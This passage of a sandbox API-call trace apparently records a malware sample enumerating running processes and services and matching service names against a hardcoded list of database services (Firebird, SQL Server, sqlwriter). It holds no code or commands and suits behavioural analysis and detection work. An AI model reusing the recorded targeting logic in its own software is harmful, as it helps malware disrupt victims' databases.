th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.926] lstrlenW (lpString="csrss.exe") returned 9 [0175.926] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0175.927] lstrlenW (lpString="wininit.exe") returned 11 [0175.927] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.927] lstrlenW (lpString="csrss.exe") returned 9 [0175.927] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0175.928] lstrlenW (lpString="winlogon.exe") returned 12 [0175.928] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0175.928] lstrlenW (lpString="services.exe") returned 12 [0175.928] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0175.928] lstrlenW (lpString="lsass.exe") returned 9 [0175.929] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.929] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.929] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.929] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.929] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.930] lstrlenW (lpString="svchost.exe") returned 11 [0175.930] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.930] lstrlenW (lpString="svchost.exe") returned 11 [0175.930] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0175.931] lstrlenW (lpString="dwm.exe") returned 7 [0175.931] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.931] lstrlenW (lpString="svchost.exe") returned 11 [0175.931] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.932] lstrlenW (lpString="svchost.exe") returned 11 [0175.932] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.932] lstrlenW (lpString="svchost.exe") returned 11 [0175.932] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.933] lstrlenW (lpString="svchost.exe") returned 11 [0175.933] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.933] lstrlenW (lpString="svchost.exe") returned 11 [0175.933] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.934] lstrlenW (lpString="svchost.exe") returned 11 [0175.934] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.934] lstrlenW (lpString="svchost.exe") returned 11 [0175.934] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.935] lstrlenW (lpString="svchost.exe") returned 11 [0175.935] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.935] lstrlenW (lpString="svchost.exe") returned 11 [0175.935] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.935] lstrlenW (lpString="svchost.exe") returned 11 [0175.935] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0175.936] lstrlenW (lpString="spoolsv.exe") returned 11 [0175.936] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.936] lstrlenW (lpString="svchost.exe") returned 11 [0175.936] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0175.937] lstrlenW (lpString="audiodg.exe") returned 11 [0175.937] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0175.937] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0175.937] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0175.938] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0175.938] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0175.938] lstrlenW (lpString="Memory Compression") returned 18 [0175.938] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0175.938] lstrlenW (lpString="sihost.exe") returned 10 [0175.938] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.939] lstrlenW (lpString="svchost.exe") returned 11 [0175.939] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0175.939] lstrlenW (lpString="taskhostw.exe") returned 13 [0175.939] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0175.940] lstrlenW (lpString="msoia.exe") returned 9 [0175.940] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0175.940] lstrlenW (lpString="explorer.exe") returned 12 [0175.940] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0175.941] lstrlenW (lpString="SearchUI.exe") returned 12 [0175.941] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0175.941] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0175.941] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0175.941] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0175.941] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0175.942] lstrlenW (lpString="mobsync.exe") returned 11 [0175.942] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0175.942] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0175.942] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0175.943] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0175.943] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0175.943] lstrlenW (lpString="cmd.exe") returned 7 [0175.943] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.944] lstrlenW (lpString="conhost.exe") returned 11 [0175.944] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0175.944] CloseHandle (hObject=0x380) returned 1 [0175.944] Sleep (dwMilliseconds=0x1f4) [0176.646] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3d3ee88 [0176.912] EnumServicesStatusExW (in: hSCManager=0x3d3ee88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0176.913] GetLastError () returned 0xea [0176.913] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x49a3a0 [0176.913] EnumServicesStatusExW (in: hSCManager=0x3d3ee88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x49a3a0, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x49a3a0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0176.914] CloseServiceHandle (hSCObject=0x3d3ee88) returned 1 [0176.914] lstrlenW (lpString="AppXSvc") returned 7 [0176.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0176.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0176.914] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0176.914] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0176.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0176.914] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0176.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.914] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0176.914] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0176.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0176.914] lstrlenW (lpString="Audiosrv") returned 8 [0176.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0176.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0176.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0176.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0176.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0176.915] lstrlenW (lpString="BFE") returned 3 [0176.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0176.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0176.915] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0176.915] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0176.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0176.915] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0176.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0176.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0176.915] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0176.915] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0176.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0176.915] lstrlenW (lpString="CDPSvc") returned 6 [0176.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0176.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0176.915] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0176.915] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0176.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0176.915] lstrlenW (lpString="ClickToRunSvc") returned 13 [0176.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0176.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0176.915] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0176.915] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0176.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0176.915] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0176.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0176.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0176.915] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0176.916] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0176.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0176.916] lstrlenW (lpString="CryptSvc") returned 8 [0176.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0176.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0176.916] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0176.916] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0176.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0176.916] lstrlenW (lpString="DcomLaunch") returned 10 [0176.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.916] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0176.916] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0176.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0176.916] lstrlenW (lpString="DeviceAssociationService") returned 24 [0176.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0176.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0176.916] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0176.916] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0176.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0176.916] lstrlenW (lpString="Dhcp") returned 4 [0176.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0176.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0176.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0176.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0176.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0176.916] lstrlenW (lpString="Dnscache") returned 8 [0176.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0176.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0176.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0176.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0176.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0176.916] lstrlenW (lpString="DPS") returned 3 [0176.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0176.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0176.917] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0176.917] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0176.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0176.917] lstrlenW (lpString="DsmSvc") returned 6 [0176.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0176.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0176.917] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0176.917] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0176.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0176.917] lstrlenW (lpString="DusmSvc") returned 7 [0176.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0176.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0176.917] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0176.917] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0176.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0176.917] lstrlenW (lpString="EventLog") returned 8 [0176.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0176.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0176.917] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0176.917] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0176.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0176.917] lstrlenW (lpString="EventSystem") returned 11 [0176.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0176.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0176.917] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0176.917] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0176.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0176.917] lstrlenW (lpString="FontCache") returned 9 [0176.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0176.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0176.917] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0176.917] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0176.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0176.918] lstrlenW (lpString="gpsvc") returned 5 [0176.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0176.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0176.918] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0176.918] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0176.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0176.918] lstrlenW (lpString="iphlpsvc") returned 8 [0176.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.918] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0176.918] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0176.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0176.918] lstrlenW (lpString="KeyIso") returned 6 [0176.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0176.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0176.918] lstrcmpiW 